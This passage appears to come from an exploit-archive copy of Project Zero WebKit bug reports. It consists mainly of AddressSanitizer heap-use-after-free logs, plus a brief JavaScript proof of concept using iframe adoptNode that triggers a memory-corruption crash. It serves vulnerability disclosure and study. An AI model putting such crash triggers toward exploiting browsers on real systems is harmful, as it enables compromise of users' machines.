    #23 0x10e6de991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #24 0x10e6deabb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #25 0x10e6dee06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #26 0x112d24b2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #27 0x11300a786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #28 0x112565a05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #29 0x11256552f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)

previously allocated by thread T0 here:
    #0 0x10c9b9790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff8ce465a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x10f9efdb4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x10f9e512b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x10f97c995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x1128b17c0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3f7c0)
    #6 0x1128b1ae3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3fae3)
    #7 0x1128c8383 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc56383)
    #8 0x1128c48f0 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc528f0)
    #9 0x1128c4770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770)
    #10 0x11267b4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8)
    #11 0x11267b79c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa0979c)
    #12 0x1129386c3 in WebCore::HTMLObjectElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xcc66c3)
    #13 0x112019476 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7476)
    #14 0x112019318 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7318)
    #15 0x112008c77 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396c77)
    #16 0x11200769a in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x39569a)
    #17 0x11285d09c in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbeb09c)
    #18 0x112856007 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe4007)
    #19 0x112886d48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #20 0x112886902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #21 0x112885b94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #22 0x11288758d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #23 0x1122f4661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #24 0x1124201f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #25 0x1123e486f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #26 0x111ec4fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #27 0x111ebfb69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #28 0x1144707e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #29 0x10acdf615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa55bdf) in WebCore::FormSubmission::create(WebCore::HTMLFormElement*, WebCore::FormSubmission::Attributes const&, WTF::PassRefPtr<WebCore::Event>, WebCore::LockHistory, WebCore::FormSubmissionTrigger)
Shadow bytes around the buggy address:
  0x1c1800014710: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c1800014720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c1800014730: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800014740: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c1800014750: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c1800014760: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
  0x1c1800014770: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c1800014780: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800014790: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c18000147a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c18000147b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1013==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1099

This is a regression test from: https://crbug.com/541206.
But I think it seems not possible to turn it into an UXSS in WebKit.

PoC:
-->

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var f = document.body.appendChild(document.createElement('iframe'));
f.contentDocument.adoptNode(i0);
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<!--
Asan Log:
==54938==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a0000c5a80 at pc 0x0001151d388b bp 0x7fff584254c0 sp 0x7fff584254b8
READ of size 8 at 0x61a0000c5a80 thread T0
    #0 0x1151d388a in WTF::TypeCastTraits<WebCore::FrameView const, WebCore::ScrollView const, false>::isType(WebCore::Widget const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7788a)
    #1 0x115c355e8 in WebCore::FrameView::convertToContainingView(WebCore::IntPoint const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xad95e8)
    #2 0x1176e8df7 in WebCore::ScrollView::contentsToContainingViewContents(WebCore::IntPoint const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x258cdf7)
    #3 0x1176af5d4 in WebCore::ScrollingCoordinator::absoluteEventTrackingRegionsForFrame(WebCore::Frame const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25535d4)
    #4 0x1176afb10 in WebCore::ScrollingCoordinator::absoluteEventTrackingRegions() const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2553b10)
    #5 0x115298ff9 in WebCore::AsyncScrollingCoordinator::frameViewLayoutUpdated(WebCore::FrameView&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x13cff9)
    #6 0x115c140f9 in WebCore::FrameView::performPostLayoutTasks() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xab80f9)
    #7 0x115c1c24a in WebCore::FrameView::layout(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xac024a)
    #8 0x11586e89e in WebCore::Document::implicitClose() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x71289e)
    #9 0x115bdf621 in WebCore::FrameLoader::checkCompleted() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa83621)
    #10 0x115bdcafa in WebCore::FrameLoader::finishedParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa80afa)
    #11 0x11588c12d in WebCore::Document::finishedParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x73012d)
    #12 0x115d8f14d in WebCore::HTMLDocumentParser::prepareToStopParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3314d)
    #13 0x11592316c in WebCore::DocumentWriter::end() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c716c)
    #14 0x1158e622f in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a22f)
    #15 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
    #16 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
    #17 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
    #18 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
    #19 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
    #20 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
    #21 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
    #22 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
    #23 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
    #24 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
    #25 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
    #26 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
    #27 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
    #28 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
    #29 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
    #30 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
    #31 0x115bdb1c4 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7f1c4)
    #32 0x115bda68e in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7e68e)
    #33 0x116fdaa98 in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7ea98)
    #34 0x116fd732f in WebCore::NavigationScheduler::timerFired() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7b32f)
    #35 0x117b92cd1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a36cd1)
    #36 0x116df2baf in WebCore::timerFired(__CFRunLoopTimer*, void*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c96baf)
    #37 0x7fff93728243 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x91243)
    #38 0x7fff93727ece in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x90ece)
    #39 0x7fff93727a29 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x90a29)
    #40 0x7fff9371f3e0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x883e0)
    #41 0x7fff9371e973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
    #42 0x7fff92caaacb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30acb)
    #43 0x7fff92caa900 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30900)
    #44 0x7fff92caa735 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30735)
    #45 0x7fff91250ae3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x46ae3)
    #46 0x7fff919cb21e in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c121e)
    #47 0x7fff91245464 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3b464)
    #48 0x7fff9120fd7f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x5d7f)
    #49 0x7fffa8edb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #50 0x7fffa8eda2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #51 0x1077d1b73 in main (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #52 0x7fffa8c77254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61a0000c5a80 is located 0 bytes inside of 1232-byte region [0x61a0000c5a80,0x61a0000c5f50)
freed by thread T0 here:
    #0 0x10a087db9 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4adb9)
    #1 0x10d0da25b in bmalloc::Deallocator::deallocateSlowCase(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c725b)
    #2 0x11759427e in WTF::RefPtr<WebCore::Widget>::operator=(std::nullptr_t) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x243827e)
    #3 0x117592d19 in WebCore::RenderWidget::setWidget(WTF::RefPtr<WebCore::Widget>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2436d19)
    #4 0x115bd46be in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa786be)
    #5 0x107e0df0b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x625f0b)
    #6 0x115beb6cf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8f6cf)
    #7 0x115bea77b in WebCore::FrameLoader::commitProvisionalLoad() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8e77b)
    #8 0x1158e6197 in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a197)
    #9 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
    #10 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
    #11 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
    #12 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
    #13 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
    #14 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
    #15 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
    #16 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
    #17 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
    #18 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
    #19 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
    #20 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
    #21 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
    #22 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
    #23 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
    #24 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
    #25 0x115bdb1c4 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7f1c4)
    #26 0x115bda68e in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7e68e)
    #27 0x116fdaa98 in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7ea98)
    #28 0x116fd732f in WebCore::NavigationScheduler::timerFired() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7b32f)
    #29 0x117b92cd1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a36cd1)

previously allocated by thread T0 here:
    #0 0x10a087bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
    #1 0x10d0d901e in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c601e)
